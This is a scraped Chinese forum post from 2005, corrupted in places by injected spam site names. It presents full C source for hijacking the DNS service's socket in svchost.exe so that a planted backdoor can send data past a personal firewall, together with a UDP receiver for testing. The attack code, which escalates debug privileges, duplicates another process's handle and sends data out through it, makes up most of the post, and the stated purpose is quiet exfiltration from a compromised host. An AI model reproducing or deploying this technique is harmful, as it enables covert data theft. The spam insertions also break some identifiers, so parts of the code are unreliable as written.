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亚星游戏官网-yaxin222  上将

注册:2005-7-3
发表于 2005-7-5 09:42:00 |显示全部楼层


使用该技术背景:
在目标主机安顿后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).

    针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点大家也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输

    上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程大家很难定位一个稳定的进程SOCKET.

    看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实大家有一条真正的通罗马的"黄金大道".

    大家知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 大家就拿他开刀...

下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...

/*++

  Made By ZwelL
  zwell@sohu.com
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)          ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG    NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
    BOOL    ret         = FALSE;
    char    NTDLL_DLL[] = "ntdll.dll";
    HMODULE ntdll_dll   = NULL;


    if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
    {
        printf( "GetModuleHandle() failed");
        return( FALSE );
    }
    if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
    {
        goto LocateNtdllEntry_exit;
    }
    ret = TRUE;

LocateNtdllEntry_exit:

    if ( FALSE == ret )
    {
        printf( "GetProcAddress() failed");
    }
    ntdll_dll = NULL;
    return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
    // sanity checks and default value
    if (pUserSid == NULL)
        return false;
    strcpy(szUserName, "?");

    SID_NAME_USE   snu;
    TCHAR          szUser[_MAX_PATH];
    DWORD          chUser = _MAX_PATH;
    PDWORD         pcchUser = &chUser;
    TCHAR          szDomain[_MAX_PATH];
    DWORD          chDomain = _MAX_PATH;
    PDWORD         pcchDomain = &chDomain;

    // Retrieve user name and domain name based on user's SID.
    if (
        :亚星游戏官网-yaxin222ookupAccountSid(
        NULL,
        pUserSid,
        szUser,
        pcchUser,
        szDomain,
        pcchDomain,
        &snu
        )
        )
    {
        wsprintf(szUserName, "%s", szUser);
    }
    else
    {
        return false;
    }

    return true;
}  


/*++

This routine is used to get the DNS process's Id
  
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    char              szUserName[255];
    DWORD              Id = -1;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &亚星游戏官网-yaxin222rocessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
            {
                GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
                if( strcmp(szUserName, "NETWORK SERVICE") == 0)
                {
                    Id = pProcessInfo[CurrentProcess].ProcessId;
                    break;
                }
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
    HANDLE hProcess = NULL,
            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);

    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;

    buf=malloc(0x1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return NULL;
        }
        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return NULL;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
        try
        {
            if( ( h_info.ProcessId == PID )  && ( h_info.ObjectTypeNumber == 0x1c )
                && (h_info.Handle!=0x2c)    // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                                            // So I jump over this situation...
                                            // May be it's different in your system,
                ) //wind2000 is 0x1a
            {
                //printf("Handle:0x%x Type:%08x\n",h_info.Handle, h_info.ObjectTypeNumber);
                if( 0 == DuplicateHandle(
                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
                    (HANDLE)h_info.Handle,
                    GetCurrentProcess(),
                    &sock,
                    STANDARD_RIGHTS_REQUIRED,
                    true,
                    DUPLICATE_SAME_ACCESS)
                    )
                {
                    printf("DuplicateHandle wrong:%8x", GetLastError());
                    continue;
                }

                //printf("DuplicateHandle ok\n");
                sockaddr_in name = {0};
                name.sin_family = AF_INET;
                int namelen = sizeof(sockaddr_in);
                getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
                //printf("亚星游戏官网-yaxin222ORT=%5d\n",    ntohs( name.sin_port ));
                if(ntohs(name.sin_port)>0)    // if port > 0, then we can use it
                    break;
            }
        }
        catch(...)
        {
            continue;
        }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;

    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
        );

    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
        );

    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
        );

    rv = GetLastError () == ERROR_SUCCESS;

    CloseHandle (hToken);
    return rv;
}

void main()
{
    WSADATA wsaData;
    char    testbuf[255];
    SOCKET    sock;
    sockaddr_in RecvAddr;

    int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
    if (iResult != NO_ERROR)
        printf("Error at WSAStartup()\n");

    if(!LocateNtdllEntry())
        return;

    if(!EnablePrivilege (SE_DEBUG_NAME))
    {
        printf("EnablePrivilege wrong\n");
        return;
    }

    sock = GetSocketFromId(GetDNSProcessId());
    if( sock==NULL)
    {
        printf("GetSocketFromId wrong\n");
        return;
    }

    //Change there value...
    RecvAddr.sin_family = AF_INET;
    RecvAddr.sin_port = htons(5555);
    RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if(SOCKET_ERROR == sendto(sock,
            "test",
            5,
            0,
            (SOCKADDR *) &RecvAddr,
            sizeof(RecvAddr)))
    {
        printf("sendto wrong:%d\n", WSAGetLastError());
    }
    else
    {
        printf("send ok... Have fun, right? ^_^\n");
    }
   
    getchar();

    //WSACleanup();
    return;
}



很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:


/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
    recvfrom(RecvSocket,
        RecvBuf,
        BufLen,
        0,
        (SOCKADDR *)&SenderAddr,
        &SenderAddrSize);
    printf("%s\n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}


测试步骤:
1. 在一台机器上实行UdpReceiver,
2. 在安装防火墙的机器上实行第一个程序.

有什么问题,希翼大家可以交流交流...^_^

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